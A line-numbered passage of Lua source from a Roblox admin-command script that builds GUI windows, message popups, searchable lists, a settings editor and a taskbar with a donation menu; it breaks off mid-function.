  2997. local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "http://www.roblox.com/asset/?id=276002222"
  2998. local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
  2999. local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "http://www.roblox.com/asset/?id=275589160"
  3000. local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "http://www.roblox.com/asset/?id=275589154"
  3001.  
  3002. local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
  3003. local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
  3004. if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
  3005. --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
  3006. --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
  3007.  
  3008. local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
  3009.  
  3010. local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
  3011. local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
  3012. local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
  3013. local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
  3014. local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
  3015. local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
  3016.  
  3017. if Settings.EnableTaskBar then
  3018. Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "http://www.roblox.com/asset/?id=275589157"
  3019. else
  3020. TitleEnd.Position = UDim2.new(1, -50, 0, 5)
  3021. Title.Size = UDim2.new(1, -95, 0, 25)
  3022. end
  3023.  
  3024. if not ShowFormButtons then
  3025. X:Destroy()
  3026. TitleEnd:Destroy()
  3027. Title.Size = UDim2.new(1, -55, 0, 25)
  3028. end
  3029.  
  3030. local function CloseForm()
  3031. if IsClosed == false then
  3032. IsActive.Value = false
  3033. IsClosed = true
  3034. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Sine", 0.7, true, function() wait(1) SG:Destroy() end) end)
  3035. Closed:Fire()
  3036. end
  3037. end
  3038.  
  3039. local function MinimizeForm()
  3040. if IsActive.Value == true then
  3041. IsActive.Value = false
  3042. Minimized:Fire()
  3043. MinimizePos = Dragger.Position
  3044. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Sine", 0.7, true) end)
  3045. end
  3046. end
  3047.  
  3048. local function RestoreForm()
  3049. if IsActive.Value == false then
  3050. IsActive.Value = true
  3051. Restored:Fire()
  3052. ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Back", 0.7, true) end)
  3053. end
  3054. end
  3055.  
  3056. if X then X.MouseButton1Click:connect(CloseForm) end
  3057. if Minus then Minus.MouseButton1Click:connect(MinimizeForm) end
  3058.  
  3059. Close.OnInvoke = CloseForm
  3060. Minimize.OnInvoke = MinimizeForm
  3061. Restore.OnInvoke = RestoreForm
  3062.  
  3063. if TweenPosition then Dragger:TweenPosition(Position, "Out", "Back", 0.7, true) end
  3064.  
  3065. if TaskBar then
  3066. TaskBar:WaitForChild("AddForm")
  3067. TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
  3068. end
  3069.  
  3070. return Content, Close, Closed, Minimize, Minimized, Restore, Restored
  3071. end
  3072.  
  3073. function GUI:CoreGui(Player, Type, Enable)
  3074. local Parent = Player:FindFirstChild("Backpack")
  3075. if not Parent then Parent = Player.Backpack end
  3076. CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
  3077. end
  3078.  
  3079. function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime)
  3080. if not Player then return nil end
  3081. if not Player:IsA("Player") then return nil end
  3082. if BodyText == "" then return nil end
  3083. if not Player:FindFirstChild("PlayerGui") then return nil end
  3084.  
  3085. local MessageSplit = STRING:GetSplit(BodyText, 1, " ")
  3086. local TextColor = GUI:GetColor(MessageSplit[1])
  3087. if TextColor then BodyText = MessageSplit[2] end
  3088. BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
  3089.  
  3090. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
  3091. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
  3092.  
  3093. if Frame then
  3094. local FormBar = Frame.Parent.Parent.FormBar
  3095. local Said = false
  3096. local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "http://www.roblox.com/asset/?id=276195369"
  3097. if Settings.EnableTaskBar then
  3098. FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
  3099. FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
  3100. else
  3101. Speak.Position = UDim2.new(1, -58, 0, 5)
  3102. FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
  3103. FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
  3104. end
  3105. Speak.MouseButton1Down:connect(function()
  3106. if not Said then
  3107. Said = true
  3108. SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
  3109. end
  3110. end)
  3111.  
  3112. if TextColor then
  3113. Body.TextColor3 = TextColor
  3114. else
  3115. Body.TextColor3 = Color3.new(1,1,1)
  3116. end
  3117.  
  3118. if tonumber(Time) then coroutine.wrap(function()
  3119. if AutoTime then
  3120. Time = Time + math.floor(#BodyText/7)
  3121. end
  3122. local Alive = true
  3123.  
  3124. local function StopTimer() Alive = false end
  3125. Closed.Event:connect(StopTimer)
  3126. Minimized.Event:connect(StopTimer)
  3127.  
  3128. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  3129. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  3130. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  3131. local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
  3132. Stop.MouseButton1Down:connect(StopTimer)
  3133. for i = Time,0,-1 do
  3134. for ii = 1,10 do
  3135. if Alive == true then
  3136. Ticker.Text = i
  3137. wait(0.1)
  3138. else
  3139. break
  3140. end
  3141. end
  3142. end
  3143. if Alive == true then
  3144. Close:Invoke()
  3145. else
  3146. Ticker:Destroy()
  3147. Stop:Destroy()
  3148. Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
  3149. Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
  3150. end
  3151. end)() end
  3152.  
  3153. CORE:ExecuteResource("CalculateScrollY", Body)
  3154. end
  3155. end
  3156.  
  3157. function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
  3158. if not Player then return nil end
  3159. if not Player:IsA("Player") then return nil end
  3160. if BodyText == "" then return nil end
  3161. if not Player:FindFirstChild("PlayerGui") then return nil end
  3162. BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
  3163. local TextColor = GUI:GetColor()
  3164. if Error then TextColor = Color3.new(1,0,0) end
  3165.  
  3166. local Frame, Close, Closed = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
  3167. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
  3168.  
  3169. CORE:ExecuteResource("CalculateScrollY", Body)
  3170.  
  3171. return Frame, Close, Closed
  3172. end
  3173.  
  3174. function GUI:SendHint(Player, Text, Time) coroutine.wrap(function()
  3175. Text = STRING:FormatReplace(Player, string.sub(Text,1,100))
  3176. if not Time then Time = 5 end
  3177. local SG,TypeAction,Num = Instance.new("ScreenGui"),nil,0 SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
  3178. local Frame = Instance.new("Frame", SG) Frame.Name = "Hint Frame" Frame.Position = UDim2.new(0,0,0,-80) Frame.Size = UDim2.new(1,0,0,30) Frame.BackgroundColor3 = GUI:GetColor() Frame.BackgroundTransparency = Settings.TransparencyScheme
  3179. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.ZIndex = 2 Body.Text = "" Body.BackgroundTransparency = 1 Body.Size = UDim2.new(1,0,1,0) Body.Font = "ArialBold" Body.FontSize = "Size18" Body.TextColor3 = GUI:ContrastColor()
  3180. for _,Object in pairs(Player.PlayerGui:GetChildren()) do if Object.Name == "LuaMod".."elMaker".."'".."s Admin Hint" then Object:Destroy() end end
  3181. SG.Parent = Player.PlayerGui
  3182. Frame:TweenPosition(UDim2.new(0,0,0.05,0), "In", "Quint", 0.7)
  3183. wait(0.8)
  3184. TypeAction = Server.RS.Stepped:connect(function()
  3185. Num = Num + 1
  3186. Body.Text = string.sub(Text,1,Num)
  3187. if Num == #Text then
  3188. TypeAction:disconnect()
  3189. end
  3190. end)
  3191. wait(Time)
  3192. if Frame and Frame.Parent then
  3193. Frame:TweenPosition(UDim2.new(0,0,0,-80), "Out", "Quint", 0.7, true, function() SG:Destroy() end)
  3194. end
  3195. end)() end
  3196.  
  3197. function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
  3198. if not Player then return nil end
  3199. if not Player:FindFirstChild("PlayerGui") then return nil end
  3200. if not PreSearch then PreSearch = "" end
  3201. if AutoNumber == nil then AutoNumber = true end
  3202.  
  3203. local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
  3204. local SearchBar = Instance.new("TextBox", Frame.Parent) SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
  3205. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  3206. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  3207.  
  3208. local SearchVer = 0,nil
  3209. local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
  3210.  
  3211. local function ShowResults(Key)
  3212. SearchVer = SearchVer + 1
  3213. local ThisSearchVer = SearchVer
  3214.  
  3215. if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
  3216. for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
  3217.  
  3218. local NumPos,Num = 0,1
  3219.  
  3220. for _,Data in pairs(List) do
  3221. if ThisSearchVer ~= SearchVer then
  3222. break
  3223. end
  3224. local String = STRING:Defilter(tostring(Data))
  3225. if String then
  3226. local ImageIcon = nil
  3227. if type(Data) == "table" then
  3228. String = Data[1]
  3229. ImageIcon = Data[2]
  3230. end
  3231.  
  3232. local TextColor = GUI:ContrastColor()
  3233. local StringSplit = STRING:GetSplit(String, 1, " ")
  3234. local NewColor = GUI:GetColor(StringSplit[1])
  3235. if NewColor then TextColor = NewColor String = StringSplit[2] end
  3236.  
  3237. if string.find(string.lower(String), string.lower(Key)) then
  3238. Spacer = false
  3239. local Font = Settings.Font
  3240. local Split = STRING:GetSplit(String, 1, " ")
  3241. if string.sub(string.lower(String),1,6) == "bold: " then
  3242. Font = "ArialBold"
  3243. String = string.sub(String,7)
  3244. elseif Fonts[Split[1]] then
  3245. Font = Split[1]
  3246. String = Split[2]
  3247. end
  3248. if string.sub(String,1,2) == "--" then
  3249. Spacer = true
  3250. end
  3251. local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
  3252. if ImageIcon then
  3253. if tonumber(ImageIcon) then
  3254. ImageIcon = "rbxassetid://"..ImageIcon
  3255. elseif Icons[ImageIcon] then
  3256. ImageIcon = "rbxassetid://"..Icons[ImageIcon]
  3257. end
  3258.  
  3259. Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
  3260. local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
  3261. local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
  3262. Content.Text = ""
  3263. NumPos = NumPos + 90
  3264. else
  3265. NumPos = NumPos + 30
  3266. end
  3267.  
  3268. if not Clickable then
  3269. Content.AutoButtonColor = false
  3270. Content.Active = false
  3271. Content.BackgroundTransparency = 1
  3272. elseif ClientInfo[Player.Name] and ClientInfo[Player.Name].TouchScreen ~= true then
  3273. Content.MouseButton1Down:connect(function() Clicked:Fire(String) end)
  3274. end
  3275. if Spacer == false then Num = Num + 1 end
  3276. end
  3277. end
  3278. end
  3279. Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
  3280. ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
  3281. end
  3282.  
  3283. ShowResults(PreSearch)
  3284.  
  3285. SearchBar.Changed:connect(function(Prop)
  3286. if Prop == "Text" then ShowResults(SearchBar.Text) Frame.CanvasPosition = Vector2.new(0,0) end
  3287. end)
  3288.  
  3289. return Clicked, Close
  3290. end
  3291.  
  3292. function GUI:PropertyGui(Player, Title, Icon, Properties)
  3293. if not Player then return nil end
  3294. if not Player:FindFirstChild("PlayerGui") then return nil end
  3295. if type(Properties) ~= "table" then return nil end
  3296. local HasClosed = false
  3297. local NewProperties = {}
  3298.  
  3299. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
  3300. Frame.ClipsDescendants = true
  3301. local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
  3302.  
  3303. for PropertyName,Data in pairs(Properties) do
  3304. NewProperties[PropertyName] = Data[1]
  3305. end
  3306.  
  3307. local YCount = 0
  3308.  
  3309. for PropertyName,Data in pairs(Properties) do
  3310. if type(Data) == "table" then
  3311. local DefaultValue = Data[1]
  3312. local Writable = Data[2]
  3313. local ValueType = Data[3]
  3314.  
  3315. if Writable == nil then Writable = false end
  3316. if type(ValueType) == "string" then -- now this is confusing
  3317. ValueType = string.lower(ValueType)
  3318. elseif ValueType == nil then
  3319. ValueType = type(DefaultValue)
  3320. end
  3321.  
  3322. if ValueType == "nil" or ValueType == "userdata" then
  3323. ValueType = nil
  3324. elseif ValueType == "table" then
  3325. DefaultValue = STRING:UnpackArgs(DefaultValue)
  3326. ValueType = "string"
  3327. end
  3328.  
  3329. if ValueType then
  3330. local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
  3331. local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
  3332. local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
  3333.  
  3334. if ValueType == "string" or ValueType == "number" then
  3335. if Writable == true then
  3336. local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
  3337. Input.Changed:connect(function(Prop) if Prop == "Text" then
  3338. if ValueType == "number" then
  3339. NewProperties[PropertyName] = tonumber(Input.Text)
  3340. else
  3341. NewProperties[PropertyName] = tostring(Input.Text)
  3342. end
  3343. end end)
  3344. else
  3345. local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
  3346. end
  3347. end
  3348. if ValueType == "boolean" then
  3349. local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
  3350. if DefaultValue == true then
  3351. Check.Image = "rbxassetid://48138491"
  3352. end
  3353. if Writable == true then
  3354. Check.MouseButton1Down:connect(function()
  3355. local NewVal = not NewProperties[PropertyName]
  3356. NewProperties[PropertyName] = NewVal
  3357. if NewVal == true then
  3358. Check.Image = "rbxassetid://48138491"
  3359. else
  3360. Check.Image = "rbxassetid://48138474"
  3361. end
  3362. end)
  3363. else
  3364. Check.ImageTransparency = 0.5
  3365. end
  3366. end
  3367. YCount = YCount + 50
  3368. end
  3369. end
  3370. end
  3371.  
  3372. Frame.CanvasSize = UDim2.new(0,0,0,YCount)
  3373.  
  3374. Closed.Event:connect(function() HasClosed = true end)
  3375.  
  3376. repeat wait(0.1) until HasClosed
  3377. return NewProperties
  3378. end
  3379.  
  3380. function GUI:SettingsGui(Player)
  3381. if not Player then return nil end
  3382. local CloneViewSettings,CanChange = {},false
  3383.  
  3384. local ViewSettings = {
  3385. ["Version"] = {CORE.Version.Value, false, nil};
  3386. ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
  3387. ["Font"] = {Settings.Font, 3, "Font"};
  3388. ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
  3389. ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
  3390. ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
  3391. ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
  3392. ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
  3393. ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
  3394. ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
  3395. ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
  3396. ["Group ID"] = {Settings.GroupID, false, "GroupID"};
  3397. ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
  3398. ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
  3399. ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
  3400. ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
  3401. ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
  3402. ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
  3403. ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
  3404. ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
  3405. ["Bet"] = {Settings.Bet, 3, "Bet"};
  3406. }
  3407.  
  3408. local _,RankNum = RANK:GetRank(Player)
  3409. if RankNum >= 3 then
  3410. CanChange = true
  3411. end
  3412.  
  3413. for Prop,Data in pairs(ViewSettings) do
  3414. local Writable = false
  3415. if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
  3416. CloneViewSettings[Prop] = {Data[1], Writable}
  3417. end
  3418.  
  3419. local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
  3420. if CanChange then
  3421. for Prop,Data in pairs(ViewSettings) do
  3422. if Data[3] then
  3423. Settings[Data[3]] = NewSettings[Prop] -- wow haxy
  3424. end
  3425. end
  3426. CORE:FixSettings()
  3427. end
  3428. end
  3429.  
  3430. function GUI:MessageAdmins(TitleText, BodyText, Icon)
  3431. for _,Player in pairs(Server.Players:GetPlayers()) do
  3432. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  3433. if PlayerAdmin then
  3434. GUI:SendMessage(Player, TitleText, BodyText, Icon)
  3435. end
  3436. end
  3437. end
  3438.  
  3439. function GUI:TellAdmin(Player)
  3440. if not Player then return end
  3441.  
  3442. local ValidAdmin,Rank = RANK:IsAdmin(Player)
  3443. if ValidAdmin == true then
  3444. GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
  3445. if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
  3446. local SoundID = 237866523
  3447. if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
  3448. local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
  3449. Sound:Play()
  3450. coroutine.wrap(function()
  3451. wait(4)
  3452. Sound:Stop()
  3453. Sound:Destroy()
  3454. end)()
  3455. end
  3456. end
  3457. end
  3458.  
  3459. function GUI:TellNotAdmin(Player)
  3460. if not Player then return end
  3461.  
  3462. GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
  3463. end
  3464.  
  3465. function GUI:CreateTaskBar(Player)
  3466. if not Player then return nil end
  3467. if Settings.EnableTaskBar == false then return nil end
  3468. Player:WaitForChild("PlayerGui")
  3469. local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
  3470. if SG then SG:Destroy() end
  3471. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
  3472. local IsMoving = false
  3473. local TaskBarShown = false
  3474. local Tasks = {}
  3475.  
  3476. local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
  3477. local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
  3478.  
  3479. local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
  3480. local Open,CloseForm = false,nil
  3481. if Settings.EnableAdminMenu then
  3482. local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://227964546"
  3483. coroutine.wrap(function() wait(1) MenuButton.MouseButton1Click:connect(function()
  3484. if Open == false then
  3485. local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 211084775, true, nil, nil, false, true, true)
  3486. Open,CloseForm = true,Close
  3487.  
  3488. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = Color3.new(1,1,1)
  3489. local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
  3490. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = Color3.new(1,1,1) Info.TextYAlignment = "Top"
  3491. local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:GetColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
  3492. local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
  3493. local function DonateMoney(Type, Element)
  3494. local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
  3495. local Get = Request[Type]
  3496. if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
  3497. Server.MPS:PromptPurchase(Player, Get[1], true)
  3498. elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
  3499. Server.MPS:PromptPurchase(Player, Get[2], true)
  3500. elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
  3501. Server.MPS:PromptPurchase(Player, Get[3], true)
  3502. else
